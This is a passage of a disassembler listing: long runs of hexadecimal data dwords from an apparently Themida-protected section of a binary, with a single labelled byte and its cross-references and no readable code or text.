0FE7DAE5Ch, 17AEB08Eh, 1086F7F2h, 688FA879h dd 27DFF71Ch, 0AA7914F6h, 4BDDD949h, 0E0637BABh, 169C3D38h dd 0C9EAF4C5h, 8211F969h, 0BA388434h, 0D2574C4Ah, 5C624D62h dd 3462D257h, 6748B83Fh, 86ABB183h, 0A0109723h, 0D4B69976h dd 8BD529E9h, 43A7D410h, 0C5EAE3D3h, 3ABCDCF9h, 4C44E931h dd 6DC6989Eh, 5C09E0Eh, 1CAAB8DCh, 2FDC8E9Fh, 65BA5BCBh dd 9F089505h, 40B1C04Ch, 1C0ECE36h, 0AF0F0000h, 68C9563Fh dd 0A7061DF8h, 6FD15E37h, 0A90916FFh, 4C3F5C39h, 0F481F151h dd 0AD48B83Fh, 0EF86F676h, 0C253C340h, 53764D11h, 1A169EA2h dd 624FE359h, 9B9872E2h, 61CEA717h, 95A372E2h, 5F57C724h dd 8B89F152h, 2ADB22AFh, 6ADA595Ah, 511B045h, 421C4CECh dd 4E833B1Ch, 0C00B102Ah, 864ADC05h, 0A18E9F10h, 4376DAC9h dd 9C95169Bh, 0DCBCAE1Eh, 519033CBh, 26CB00A3h, 0EC762A52h dd 0B6E050B3h, 1712FED9h, 999AA48Bh, 9F70A616h, 0EADD04BFh dd 8FA0D222h, 528359DBh, 0D9F61ED7h, 0AB1AF0BDh, 0D43880E7h dd 3EAE0F24h, 336307F8h, 0F2C63462h, 5C49FCC2h, 1FDE25B3h dd 1127300Eh, 0BB219066h, 231026C4h, 0CE6530A0h, 0B120FD6Dh dd 32EF1E8Dh, 1B36C044h, 87E70000h, 50B17E17h, 9F1E15E0h dd 57D9462Fh, 0A1210EE7h, 44476431h, 9C79E949h, 0E5B02087h dd 977EEE4Eh, 0DABB2B88h, 3B5EE5E9h, 0C2169EA3h, 0C724FB41h dd 25D95F57h, 2A5AE9F5h, 49169C03h, 0D85E350Ch, 0B7530C52h dd 5E5F3607h, 0F3FFFF2h, 428C942Fh, 20F1108Eh, 5C85401Eh dd 1F1CAC31h, 0AB1A5C0Eh, 0D41293E9h, 3DAD0D26h, 100676F6h dd 91654B3Fh, 22E65D61h, 69C54029h, 0CA89D073h, 470BC977h dd 7E51E655h, 0F7C7D848h, 778D054Ch, 33D7E8C9h, 0F684B283h dd 794C1242h, 0CF6D520Ch, 0D54EFEDh, 0F0F08048h, 0BA8B2BDFh dd 21A4BAA4h, 0F08048F8h, 0A6169683h, 83B09F70h, 38F99101h dd 0A0AA4BBBh, 78BE2E93h, 0C526E387h, 0DC53C855h, 0A294DDE5h dd 1A5F22h, 0D040BE00h, 1B8BEE45h, 0D848A57Ah, 1282E63Dh dd 0DE4EAC83h, 782B6037h, 34EB8AFAh, 7DB243B3h, 39E68FFFh dd 18AB4ABAh, 0A04A8F36h, 0B031169Eh, 57C7248Ch, 0FD9E4E87h dd 0EDB6562Fh, 38D242A6h, 0A4CC6CFEh, 4BF5835h, 108697DDh dd 68A88FA0h, 0CC92BD83h, 0B424A192h, 0BEDD8D82h, 169C053Eh dd 0A607EEBFh, 36B9FABBh, 0CA6E24C6h, 1901C49Ah, 2108EDFh dd 9FB47CD5h, 1B9F2324h, 0BD926BABh, 46D8E9CDh, 739E3F18h dd 177860Dh, 29261080h, 0A2396406h, 23A105E0h, 0A81B2353h dd 0BE4F0AE0h, 4F92312Bh, 2EBE6EEAh, 78496D1Dh, 0C00CAC3Eh dd 0DFFFD040h, 83E672D2h, 84E3C13h, 7435483Dh, 10B3A9B8h dd 0A47BA1C9h, 9707E3B4h, 439FB886h, 3C1EE296h, 0FBFA1FA6h dd 0B081A47Bh, 33EDB89Fh, 99B41C40h, 40716BF1h, 696650C0h dd 0C3339081h, 0BD2F2832h, 69B01386h, 14A47B65h, 365A3403h dd 991A17F3h, 92C95429h, 241208EFh, 194FA0h, 70CE00h, 0CB3BBE75h dd 878F52Ah, 0C232B66Dh, 0E7EFC33h, 487B3067h, 849B7AEAh dd 4DE2B323h, 89967FEFh, 0E8DBBA2Ah, 0A13A5FE6h, 40C1169Eh dd 0F8864FFCh, 5E1CB953h, 0C526E387h, 0CC288955h, 0D1745A5Ch dd 1086AD88h, 0DD8DA273h, 0A9F5C92Fh, 0F7E0D646h, 0E92B6E8Ch dd 381738B6h, 0C079F26h, 516169Ch, 3BD65170h, 0D0734B7Bh dd 108EDB48h, 0C49A6435h, 989E0E6Fh, 9BD8C3A7h, 1C01E38Dh dd 0B3122C5Ch, 1FF0D7EFh, 0B323A18Eh, 71A58A83h, 37073707h dd 1DD8198Ch, 734B5C19h, 0D431BD3Eh, 725D3264h, 1EA5B7A3h dd 511C2FBh, 0FD82B182h, 0CF2CDD8Dh, 6631BE5Fh, 88AEA855h dd 188F2Ch, 0C0308E00h, 0B7BFE35h, 0C838B56Ah, 272F62Dh dd 0CE3EBC73h, 883B7027h, 44DBBA2Ah, 8DA273E3h, 49D6BF2Fh dd 289B7AEAh, 0A67A9F26h, 8001169Eh, 57C724BCh, 0D925D95Fh dd 47ABE858h, 5FE6F8D7h, 169BF79Bh, 7CA52022h, 721693F7h dd 0A4999D0Dh, 3A042BFCh, 0C0A7AF9h, 753C5733h, 74A4549Dh dd 0FE77DB6Ah, 9F94108Eh, 956AAC1Ch, 2EF0C1F5h, 65E6B797h dd 0E010B0A8h, 0FA367DEh, 794A896Fh, 0E864F3Dh, 7746AF9Fh dd 0B3832DDDh, 0F176BB83h, 7BB89581h, 51E387F7h, 94ABF3F2h dd 0ADB182B0h, 0D1B92984h, 5DC5268Bh, 2920488Dh, 63C7CCEAh dd 0D502DCF3h, 0D1C60027h, 0D3A248B8h, 0EC53DF5Ch, 3791B88Bh dd 4B5CBC9Bh, 5ACA2F64h, 0D111A875h, 0E4D211CEh, 17B760h dd 98086600h, 53C326FDh, 0A0106DC2h, 6ADA5ED5h, 0A616948Bh dd 0E0D3D8CFh, 0C23F262h, 0C55A3BABh, 111EF767h, 20B342B2h dd 0A742873Eh, 6829169Eh, 0E5864FD4h, 4501C460h, 0BE3DEE9Ch dd 0D07EC56h, 0EDC2053Bh, 6FCEE3A9h, 0D1A50BFFh, 18949DA1h dd 0C97CC2A8h, 169F2DD8h, 55E9AA3h, 72676BCFh, 0D330815Dh dd 0D88ED372h, 5C6D169Eh, 0A1FA273h, 0B169ED8h, 0C8573E6Eh dd 8C1AFB6Bh, 0A2E8C4ECh, 0FD04E64Dh, 73D20CD2h, 169EB22Eh dd 35D5B064h, 5CC45F69h, 0BF9D9F4Bh, 9EE3269Dh, 0B98A169Eh dd 53F7F2D1h, 99861087h, 0B787A818h, 0EE87F77Ah, 8E50C041h dd 8658C825h dd 0B64B9ABFh, 0BA50611Ch, 9404677Ch, 0BBDDEC09h, 0F9797BB1h dd 16E8h, 0AC49B935h, 0F382F277h, 0C451C13Ch, 0FC99096Fh dd 0C253C327h, 87EBA6E5h, 4EB17E17h, 8CE837DEh, 49AA791Ch dd 0C38B3CD9h, 9EA4D900h, 59E3A416h, 93B68D4Fh, 5A1086F2h dd 47F7A149h, 2A0575FBh, 0B8854314h, 553FD824h, 0A5249FB5h dd 0B8169F36h, 59DAD7E7h, 0A5044DF8h, 0D6E7169Eh, 0ED8E1CF9h dd 8B22A1BDh, 8A169EA5h, 0D6F67DB9h, 0A169EA5h, 11FB3BABh dd 9EA56FB2h, 0F63D0E16h, 76110575h, 3D5B903Fh, 0C46FACEFh dd 863199B6h, 1F87F257h, 940D9DC0h, 29000000h, 0DE0EABh dd 86F21045h, 0E4D2E310h, 86F23C61h, 61D13210h, 4BBB3C35h dd 2F137A4Bh, 0AFF0369Ah, 90537AE1h, 0A2507F3Ah, 78BE2E91h dd 45A8E387h, 0CB97A82Bh, 5Bh, 0B68D4FDFh, 1086F293h, 68DA515Ah dd 2D647601h, 0D513502h, 9A1303F4h, 0E889D5F0h, 0CD0A1086h dd 0F7CCC739h, 977716F8h, 0D30C3A16h, 741FDBFCh, 0A9F9108Eh dd 0DB27D7C1h, 0F4CAE555h, 0F868C9EAh, 0CABB312h, 4B68169Ch dd 0F1A580E8h, 5B97CA08h, 464D4274h, 239377E7h, 4FB58312h dd 0F293B68Dh, 2D5A1086h, 97735CCCh, 112D5D21h, 9BF6E2B2h dd 0BC829316h, 402FA99Bh, 63076EAEh, 6BCEE3A9h, 28C2BBFBh dd 7D1888EBh, 9D545A6h, 0DCDA4AA8h, 140D07E3h, 28B42E96h dd 8AE1F315h, 1BFD71A5h, 47239316h, 96A5D50h, 3DF41DA8h dd 0A6771693h, 5162EC89h, 0B99680F0h, 73E360D1h, 0DA585943h dd 661A806Ah, 21362836h, 0BFC65C27h, 0A914F6C0h, 1089DA09h dd 74E44734h, 0E2464D42h, 6BB85D72h, 6DC69808h, 0A39C9A0Ah dd 327F4DC7h, 1D1D66CEh, 61C2C49Ch, 9377484Eh, 97528228h dd 0A9149B84h, 112D9D1Eh, 0C45C6144h, 0F9914414h, 0B626859Ah dd 9D0D7380h, 0C4EB9A99h, 4E108003h, 0BB6CB510h, 3E0F94E7h dd 0E0878F5h, 0E53A5931h, 9A201686h, 1DA8B6E6h, 92FD403Dh dd 82C77E40h, 699AF093h, 7E51C13Ch, 0C49AC451h, 0C5622693h dd 8D385EFDh, 9AF09044h, 7D481627h, 9AF09054h, 0A7640617h dd 0D1E2D444h, 28B8FE6Eh, 3AB90EC1h, 0F5DA4AAEh, 40B01320h dd 2C4F8856h, 0A878BB03h, 29CDC3A7h, 0EE5EE5F9h, 6F9CEA55h dd 0CF33805Eh, 53E0AB5Fh, 2F9680F0h, 0B00D51EEh, 0DBA2594h dd 0C8573EAEh, 0A9BAFC6Ch, 0D005D949h, 0BC3858B1h, 62754A4Ch dd 19F135F0h, 8A355C1Bh, 0A64FBF3Dh, 0B8288FA4h, 1FB6817Eh dd 26CBBEE8h, 0F97BB852h, 0A8189B98h, 0ED34916Eh, 90B00DFDh dd 87F774BFh, 1F9D96A8h, 0F49667AFh, 57C7293Ah, 7568CF5Fh dd 0F382F252h, 6650C03Ch, 400324D4h, 0B00DFD19h, 0E2FCD3E4h dd 0C636B7FCh, 0B00BFFD0h, 0B610F9E4h, 456C9099h, 0EAFE4B11h dd 0F5DA4AA9h, 0A2DBECE9h, 46DA7FEAh, 0BC851171h, 5733EAEAh dd 802FD6DDh, 0A075E547h, 0FEC03093h, 0CFC737B5h, 0C0EF5FE2h dd 74F7EC2Ah, 0E3771204h, 1DAABCF2h, 0BFF7764h, 2D8E39A4h dd 0B6D0F9CCh, 8A9BB626h, 93BC2C89h, 0C5698ACBh, 9C7D1900h dd 76BB9FEEh, 940466F2h, 0E882ADA2h, 485A40ADh, 28C83Eh dd 24E40000h, 2D8658C8h, 67585ECEh, 5F1F8983h, 0A8B40F2Fh dd 6B169C08h, 0E58FD271h, 5D6E1693h, 5D3809ADh, 2957h dd 0C8243300h, 0ED588658h, 1086F2A4h, 0BE3D7647h, 0AC729C4Eh dd 0F2CE13B2h, 9CAD1086h, 0C4F4C4EEh, 0AF34BFAh, 0A172169Ch dd 5EB268D4h, 0ABB3E393h, 8FFF80B1h, 0FB58C0DBh, 1425169Bh dd 0F603D48Ah, 0CCF7B5ECh, 0D8019C4Eh, 41032FF8h, 452595F0h dd 637BAB4Bh, 550038E0h, 0C2F4C5ECh, 0DC678838h, 1058EDB5h dd 76486738h, 0D4617668h, 9837D791h, 573257CEh, 0E8B91058h dd 4263A3CFh, 593183F0h, 42377B6Ah, 1529FA16h, 49379F1Ch dd 2E4CE8E6h, 909F7659h, 0B3AC333h, 50B6F91Bh, 12D6DE66h dd 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh, 81012EC7h dd 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh, 0FA9B0B68h dd 1B3E05C9h, 0E2169EA8h, 8D4F1B21h, 86F293B6h, 0A1495A10h dd 86F3DF02h, 0B8E89810h, 1CB71FA6h, 0F5C6169Ch, 0FC6CC8E9h dd 7EFC3519h, 5337080Eh, 0B0E656D6h, 4DD040C3h, 0B7D76914h dd 6DC9294Bh, 0B0000012h, 200FE656h, 0CF6431A1h, 817FE6Eh dd 0C65D38A8h, 8A21F464h, 0BC2C8E01h, 75E54AD9h, 0C13193A0h dd 0C7CFF34h, 0D5705E69h, 169EA88Ch, 4F8EAE6Fh, 0E9AFC886h dd 57EE99C4h, 1086D432h, 23C7E8B9h, 0C599C96Dh, 9C3B96FEh dd 8D6E716h, 0D9DE46ABh, 0CD77C806h, 0B1AFA98Eh, 795D20FEh dd 754F8856h, 2DFB9476h, 0B222A192h, 366BDD8h, 9CB9A393h dd 5AF6A3Eh, 3DEE9C9Eh, 5B484EBEh, 403165D5h, 0A26551C1h dd 261FC4EBh, 0F277507Fh, 51CAF382h, 0D3B07364h, 4882CD17h dd 0B5557AEAh, 320C3CFBh, 26108001h, 0F63B4129h, 0B0130373h dd 1693D26Ch, 0F5D2FDA4h, 0C2710474h, 0DF4FB33Fh, 0DBD8C6F0h dd 0D0ADE959h, 90C0803Ah, 1FAAF7CEh, 0E0B1108Ah, 0CA56D5DEh dd 40D5FA6Ah, 0F62090F3h, 0BA84B484h, 0B2503B0Bh, 55693A1Ah dd 866FDF5Ch, 6CAA1A99h, 340A3AFEh, 49769B2Ah, 24F502C3h dd 955F046h, 0EC04D9B8h, 3E365BEAh, 0E4B508DCh, 0C9F732CBh dd 4A6CA591h, 1153EAh, 0FC6CCA00h, 37A70A19h, 474D15Eh dd 0CE3EC271h, 0A7AF827h, 447F2C6Bh, 909F76E6h, 49D6BF2Fh dd 859A7BEBh, 0F4DFB626h, 0A9365BEAh, 34B5169Eh, 0F29AB608h dd 56D61086h, 0D7A70FE6h, 2C97A7h, 25169F3Eh, 0B1144A14h dd 169EBF68h, 0B2110213h, 8F7B5442h, 0F6CD8FCDh, 169EBFD3h dd 30E1899Ah, 835965D5h, 9EBF99C0h, 0B7536416h, 43A650DCh dd 0E3972826h, 9FDD3EF2h, 0C2A84231h, 15162h, 0FAB3600h dd 8D4FDDDFh, 86F293B6h, 0A1495A10h, 0F2E4289Bh, 36171086h dd 0B68D4F06h, 1086F293h, 9BA1495Ah, 0CB01AA9Fh, 0BCE010ABh dd 0CAB6E52h, 0AB8FE0DCh, 0A82673A6h, 60B968h, 0E6EF0000h dd 1CF411F5h, 69D1B97Ch, 63C410ABh, 4FE0DCF3h, 59C9248Dh dd 1B8A605Dh, 1086F2F3h, 4F7BA172h, 0D854E062h, 7E512E68h dd 4F72CA8Ch, 763B3786h, 24C615EFh, 7BFA86E7h, 1D320B0Bh dd 0E3624F1Fh, 82CC9773h, 3360D031h, 583561D1h, 624F8AB2h dd 82F251DDh, 0F69469ADh, 16C6h, 10ABE200h, 0F44FBCE0h dd 1086F2A8h, 4FCAF2DBh, 59C9246Bh, 0A6725663h, 68A82673h dd 49B9h, 624FCD00h, 484571E1h, 1949F8A2h, 0A8F44F23h dd 0EB1086F2h, 0D343C0F1h, 86F22F72h, 0DFDCE10h, 4FA498A9h dd 0ADF44F8Dh, 0EE1086F2h, 86F23257h, 38E8B910h, 4F8F8367h dd 4571E162h, 1071A248h, 72567CA0h, 47B5h, 0CABD100h, 0D7DC02DCh dd 0DDB2E454h, 86F22168h, 0FFBCC10h, 0A8F44F2Bh, 0DB1086F2h dd 624FCAF2h, 54296DDDh, 249CA0B6h, 538955C5h, 86F2A9F0h dd 0A7435410h, 0B68D4F73h, 1086F293h, 0A2A1495Ah, 6ADA5B58h dd 83B7532Ch, 0FFFE9DB5h, 0BABD1FFh, 414003DBh, 1C169F3Fh dd 7DFE330Bh, 0DAD75D0Dh, 9E0CE959h, 0C33391DDh, 9D5FAD3h dd 9EBF173Ah, 0F9C5D616h, 0CCCA3AB8h, 961D17F3h, 169EBF7Dh dd 7D033006h, 8B325D0Dh, 0C06B3BBEh, 45C19Dh, 0B6D50000h dd 1086F297h, 0E4FA6AC9h, 0BEF868CFh, 674A29C1h, 1086F227h dd 0ED000C0h, 0F22C75D0h, 0BE421086h, 0C977484Eh, 0A7EF5FDCh dd 4B11F9D6h, 9C1AA478h, 530E4716h, 0AFAF2AEh, 0BE8F2FDBh dd 0B4D9D7h, 0ABAD0000h, 4003DB0Bh, 169C1A6Ch, 151E20F1h dd 0C4E2797h, 0DA2E73D2h, 0FCCD1693h, 2F9F1D0Eh, 8DBD81E7h dd 1C0A4B1h, 38B8BD65h, 70390C52h, 0FB108ABBh, 9A1F142Ah dd 7713EC2Ah, 70CCE5h, 50F3E975h, 1CAB2309h, 23EE3392h dd 0BC8D1CABh, 0DA573304h, 3EACEA5Ah, 0A7EA597Ah, 461CAB23h dd 4DBD3E75h, 0A3E95C62h, 4A1AB2EFh, 4670E05Dh, 5B586649h dd 968D68D8h, 93D8A515h, 0D4ABA679h, 0E7662E2h, 47A70000h dd 90F13ED7h, 5FDE5520h, 971906EFh, 61E14E27h, 48724F1h dd 0DCB92989h, 0A570E047h, 0D7BE2E8Eh, 9A7BEB48h, 7B9E2529h dd 2169EACh, 8D4FBB81h, 86F293B6h, 44DF810h, 0E71086F2h dd 0B1596AD6h, 0F0770380h, 7A67AF80h, 7CB589F9h, 0B4898DFDh dd 0F8A158D6h, 118102C5h, 1DCC3184h, 385497A8h, 68000000h dd 3DB0BABh, 0A97CFCD9h, 90D53531h, 0D207CBFAh, 0D5E6169Ch dd 0E773D0E1h, 5B3A1585h, 0BFF767C4h, 89558539h, 89EBE2BAh dd 0C3526310h, 0DBFEC597h, 0A21CADEBh, 2441F991h, 0EA4F64C5h dd 0E2433C7Ah, 1086F2BFh, 0CFD3753Eh, 741B5DF2h, 496A745Bh dd 0F89377E7h, 8856C62Bh, 5E58C82Bh, 288B8961h, 108656EAh dd 71982B31h, 0FC108656h, 72D23F2Bh, 73437302h, 50617B43h dd 0BAE981F1h, 169F9A41h, 220F2F00h, 269617A3h, 0F2090EDh dd 43A6C266h, 0C9972826h, 184h, 0EE0FABDDh, 86F23257h dd 0C7E8B910h, 0C223DEF7h, 18F299C2h, 8D4FCA72h, 86F293B6h dd 0A1495A10h, 0F2E4289Bh, 0A271086h, 5A7F46A7h, 211086F2h dd 0F94B3F10h, 6B4FE8D4h, 0ABCB01AAh, 0DEE010h, 86F21C45h dd 1CCEDF10h, 0AB6E52F8h, 8FE0DC0Ch, 0E2624FABh, 9F4B4472h dd 0A826B9F4h, 9D181968h, 6FB2112Dh, 0E1386F2h, 51ED4D3Dh dd 0C9000000h, 0DEE010ABh, 0F21C4500h, 0CEDF1086h, 624FF81Ch dd 494670E0h, 0E4289BA1h, 271086F2h, 87AD262Eh, 0F09A2703h dd 1B1F07D0h, 54FB1EA5h, 0B1821086h, 33D6AA6h, 6B4FF02Ch dd 6359C924h, 56B57256h, 0F3000000h, 0E9CE3EBEh, 46A39E08h dd 52DDDDFh, 0B9E810ABh, 7B6814DBh, 1F142A05h, 0DC402A9Ah dd 0F44F8D4Fh, 1086F2ADh, 308B7F50h, 1086F2ECh, 73962D2Fh dd 0FA1086F2h, 0C2EB4129h, 0E1624FDAh, 4DBD4271h, 0C0967449h dd 59C9247Ch, 0B68D4F63h, 1086F293h, 0A2A1495Ah, 2673A636h dd 39B968A8h, 0CD000000h, 70E0624Fh, 5FCF2D46h, 61209A70h dd 0F44F0B31h, 1086F2A8h, 4F407C4Dh, 39C5246Bh, 38644BBBh dd 864F7256h, 0EC131992h, 0B25E8B36h, 35FDD2E5h, 33467614h dd 62000000h, 0E0DC0CABh, 6FDF624Fh, 48B83A27h, 12B18367h dd 1086F2CAh, 1A8AE849h, 0CBF1DE70h, 20488D4Fh, 0F171CD12h dd 2436DE8Ch, 4F6755C5h, 7C6EDE62h, 73B55BC1h, 0D1FFFFFEh dd 3DB0BABh, 0F2276AD9h, 0F5C61086h, 5843F15h, 0F6169F3Fh dd 0CCCA3ABDh, 0D242C0F3h, 0A7B78838h, 0DCB9298Ah, 0E1FD2DCEh dd 3F62E1FBh, 0BE169EBFh, 7B9EFDEDh, 2169EBFh, 557E0531h dd 2E169EBFh, 0E3BA2F28h, 0FC316909h, 0D3CA30Eh, 9DC06AA0h dd 1828h, 0AB0D2600h, 0C7CF83Bh, 97B6B65Eh, 0C91086F2h dd 951BFA6Ah, 0EAh, 0B68D4F71h, 1086F293h, 0F7A1495Ah dd 35E81F47h, 0A7BAB77h, 1F498FA0h, 0A689A666h, 5C592D98h dd 0CBDC169Ch, 0CE3EBEF3h, 147CF827h, 0B23FBA9Eh, 0F8C6E924h dd 9B3A5FE6h, 0F0C11693h, 1321C1Ah, 355B0F7Fh, 4F8D5181h dd 0ADF44F8Dh, 5016939Bh, 9B83C67Fh, 596A1693h, 3165D55Ah dd 0A60FAE5Ch, 0D5108A56h, 3BB9FAC4h, 0DED848AFh, 0C3F0CEE1h dd 0F7C8CE3Eh, 1D67813h, 0BB8A1938h, 1CABD496h, 0F1734455h dd 0F93AD06Ch, 9D0B0B7Bh, 2E95A9D9h, 1AB246E8h, 3A408891h dd 0C56FFEEDh, 0CD0AD4EAh, 6DBF9E2Ch, 55D6B428h, 0A08F66D6h dd 93EAB323h, 0C8ABA761h, 0ACE46AEh, 0EF4F0000h, 2889967Fh dd 0E746DDB8h, 2F919E77h, 0E949D6BFh, 8CFF9C79h, 0B441B111h dd 0ED88F87Fh, 0AF46B636h, 2930380h, 13360DD1h, 0DA169E90h dd 0C7242319h, 0EE558757h, 1086F2ABh, 6BA94152h, 0A32F90A1h dd 9768AE1Eh, 0FA1FA6B8h, 811086F2h, 0DA59DAB0h, 248D2C6Ah dd 45AD0EB9h, 0FBFBDAB8h, 0B985AAC3h, 3F27AE9Ch, 87E9A29Eh dd 79FB3817h, 9F126109h, 97A8891Ah, 31A2h, 0BAB7600h, 0CEC838BFh dd 4500DEF1h, 169BF991h, 4E635364h, 0B6987DEDh, 0DC8EFE7Dh dd 825CCC2Fh, 0AB5FCF31h, 1747F781h, 14E87C47h, 5C6D1089h dd 0C52473B9h, 0F2B8E164h, 72431086h, 0C78B2465h, 3916DD9Fh dd 2D39595Ch, 51621086h, 0BD9284F4h, 70E05CCDh, 156115A5h dd 37A70995h, 0E210EFFh, 0E1919530h, 0DBE4169Fh, 0E6ED13FEh dd 0CC92BD97h, 0FF960667h, 2643A639h, 8EC99728h, 0DD000001h dd 6EDE624Fh, 0FDB35728h, 4F0F0D3Dh, 59C9248Dh, 0F2CA12B1h dd 0F8391086h, 3E0F0777h, 8D4F2B11h, 0F760C824h, 1D7CF61Ch dd 433C7A55h, 1AA73A7h, 0E010ABCBh, 0CE9052BCh, 86F2D2F7h dd 3DAD0C10h, 64D8B283h, 45C00CABh, 48FBE1D5h, 1086F201h dd 0DBF4DBECh, 0DB4BAE03h, 624F0B2Fh, 84F451DDh, 0CC926BABh dd 86F2D0F9h, 0E08A9B10h, 279EC09Eh, 1086F2E2h, 251181FCh dd 0C3A77828h, 0DE624F4Fh, 0B357286Eh, 0A826A5F8h, 6D0B68h dd 0F0410000h, 0CD452595h, 93B68D4Fh, 0CD1086F2h, 0C6B7FF6Fh dd 0F7A1495Ah, 0F1421C4Ch, 0C86C1E8Eh, 0F2A8F44Fh, 0F1EB1086h dd 86F20F52h, 3FC1EE10h, 0D9F6C7CFh, 0DDC48D31h, 929A60C2h dd 4F08341Bh, 7C6EDE62h, 87B3A4BAh, 0AC1C2675h, 0DF8E4C9Dh dd 7D52F74Bh, 0C924A58Dh, 4B4BBB3Dh, 0F29FC281h, 4D5E1086h dd 564F4D62h, 20B572h, 0ABD10000h, 4FBCE010h, 86F2A8F4h dd 0CAF2DB10h, 0F44F8D4Fh, 1086F2ADh, 0A78B7F50h, 6359C924h dd 73A67256h, 0B968A826h, 2Dh, 0DC0CABCDh, 0A8F44FE0h dd 4D1086F2h, 6B4F407Ch, 6755C524h, 54E0624Fh, 5C3165D5h dd 8FFA6473h, 33D36CFBh, 0B5200C57h, 37h, 0DC0CABD1h, 0E2624FE0h dd 0FFC69872h, 1086F2DFh, 1080E72Ch, 38062926h, 3DAD0D26h dd 78A104F9h, 31086F2h, 70992C32h, 0FB1086F2h, 4FDC402Ah dd 55C5246Bh, 0B5725667h, 0FFFFFE69h, 0DB0BABD1h, 3F414003h dd 9DBA169Fh, 7784ACE1h, 5C3C2E31h, 0BD3E734Bh, 4102A84Dh dd 220F4D11h, 80531A1h, 3F1E4362h, 0CCDD169Eh, 3F286BCAh dd 66D1169Eh, 0EB67D277h, 1EED9DC0h, 0C9000000h, 86F297B6h dd 0EFE3F410h, 15CA0E22h, 0F97AB753h, 17CB589h, 169AF991h dd 0B9h, 0DB0BABF2h, 0DF4FAE03h, 3204E6D7h, 9C006393h dd 3D011216h, 360878F4h, 5E0C7CFDh, 34A4200Fh, 98C87802h dd 31B2FFC6h, 0F8C9108Ah, 0E36FCDE6h, 272D05Ch, 3B143B14h dd 0F767C55Ah, 558539BFh, 0A9F05389h, 541CABAEh, 6551C127h dd 91A34768h, 0B262EC32h, 0A1062B1Ah, 62080531h, 60516D3Eh dd 60D057E3h, 9F765936h, 8BBA1BBh, 2C35AC1h, 0E72A9BACh dd 8602C35Ah, 0D754D5B5h, 0EEB99667h, 1026ABA6h, 763B4h dd 0CC3CBA00h, 777FA29h, 0D444C16Eh, 1E8EF241h, 0DA4AA877h dd 742F5C3Bh, 40EF86F6h, 79A64FBFh, 35EA8BFBh, 24AF46B6h dd 97468B3Ah, 6425169Eh, 0E2624FD8h, 189B9872h, 91BE2E8Ch dd 0BF2F8CA5h, 0C131929Fh, 0A4CEB29h, 0DBDB4BA9h, 1E9108E2h dd 3BDA4AA9h, 0A81A0366h, 428997h db 2 dup(0), 9Dh byte_5B0023 db 0ABh ; DATA XREF: Themida_:0057A69Co ; Themida_:0057A7A4o ... dd 4003DB0Bh, 169C1BA0h, 8C526C3Dh, 93DB90B9h, 0A04A5B16h dd 268BA876h, 0DB8F80B6h, 93DB9DC0h, 0AF6A16h, 0D343C1F2h dd 18F262E0h, 0BD43109Dh, 43989Dh, 0C1960000h, 70FB97B0h dd 0D73B2FEEh, 6FDF624Fh, 3961157Bh, 986DF43Eh, 320C237Bh dd 9C8AC393h, 63C5B216h, 0C9DADCF3h, 41BFA6Ah, 79FF37A7h dd 0FAC995C5h, 10899BFAh, 0C394AA7Bh, 789BF01Ch, 6803E7B8h dd 8F62B2C4h, 249FBFEFh, 169BFB3Ch, 17AE7041h, 0D6E8361Dh dd 2C326216h, 175DF199h, 6BAB7CD0h, 350939FDh, 3C46178Eh dd 895566DAh, 0BA5BCB28h, 7960665h, 0EB36F124h, 4D4DB5BFh dd 0D0000006h, 0C06F0676h, 0EF44D141h, 0A8771E8Eh, 0E63DD848h dd 2A811484h, 5CCC2E61h, 95056AB9h, 61D13300h, 0AC1C9F94h dd 75D0FEC9h, 169E942Ch, 24EE4ECFh, 525F57C7h, 76BB83F3h dd 87E684F4h, 0EC3892C3h, 27B48CE1h, 4B65AC17h, 37081086h dd 69995D53h, 86C3EE55h, 0B17A169Fh, 941483A9h, 181E31A3h dd 633AAA0Bh, 0B7D31A7Ah, 0DDEB476Dh, 40000005h, 70BF56C6h dd 5FD4A111h, 98876EDEh, 56CDA818h, 1A9164D4h, 2C9C1E91h dd 0E555DA49h, 31A12310h, 0FC6CCF64h, 25A0AE19h, 169E95FCh dd 0AB3EFE7Fh, 4003DB0Bh, 169F3F75h, 27971B08h, 5311EEFh dd 5C2191ECh, 0B7D44959h, 8D107482h, 90000005h, 2FC636h dd 0AF841181h, 0E837DE4Eh, 0A67D1888h, 6A41D444h, 9C0C6E21h dd 55C52AF9h, 0A11173C0h, 6CDC5FD4h, 0B5103E89h, 169E956Ch dd 0ABAE8E0Fh, 4003DB0Bh, 169F3F79h, 7E154204h, 4BC41D49h dd 85A3E65Fh, 884A169Eh, 9E8594BDh, 69465716h, 0E2635046h dd 1FA6AB72h, 3B39B7D4h, 52BB7h, 2494F200h, 0EF5FE251h dd 2C9C1906h, 0E656DA49h, 32A2200Fh, 4C474463h, 88977EEEh dd 51DEB727h, 3DF283F3h, 1CA74EBEh, 954E9332h, 6C2D169Eh dd 0E3624FD0h, 0CD06DE7Bh, 0E4CB3130h, 0FC2DDDB2h, 8CF37Fh dd 0F83B1484h, 0F2240B7Bh, 24128201h, 969CA8Ch, 17C6F199h dd 0C1F253B0h, 0E8E5D141h, 860E143Dh, 0CDC6D710h, 9D5FA6Ah dd 2DDD4DA8h, 272D15Eh, 970D4A14h, 9E4F365Bh, 0D10B4EF5h dd 21F21086h, 1D415C0Eh, 731086D1h, 53B017C6h, 56D6DBE3h dd 2BDFB0E6h, 65E0FE60h, 1086D13Ch, 0FFCEEBFh, 0E9FA3CACh dd 2B7B1A8Ah, 59835B8Bh, 0E328C27Ch, 0A04A47ABh, 9B94CD05h dd 95302E16h, 16938A4Ch, 4C6C1E2Fh, 286EDE5Fh, 0B73E7857h dd 16938A96h, 0D3545D5Fh, 6EA65F6Bh, 2C037DBAh, 0DD6C533Eh dd 9DBD6750h, 33D8h, 0BABB400h, 0F04003DBh, 8D169BF5h dd 9C6C19C4h, 103F44A6h, 9A7E9F26h, 11701693h, 0FB7C75A1h dd 0C5EC8B8Bh, 0B661C91Ah, 81B74207h, 0DE3D9DBDh, 59000000h dd 93B68D4Fh, 5A1086F2h, 1370A149h, 9EB12187h, 0B3F997C0h dd 0B186F674h, 0C9A14002h, 64D4564Bh, 0E0476C32h, 0A1494670h dd 9BA31370h, 71A51596h, 3340EE9Ch, 309560D0h, 10868BAAh dd 0A075E546h, 0FEC03093h, 24C636B5h, 90C080EAh, 0EC3590CEh dd 8F108670h, 0BB8ACCBEh, 169B7673h, 665421F2h, 0E95C6292h dd 108B18A1h, 851F4EAh, 0F31CABC2h, 47584822h, 4BBB3A77h dd 0C698724Bh, 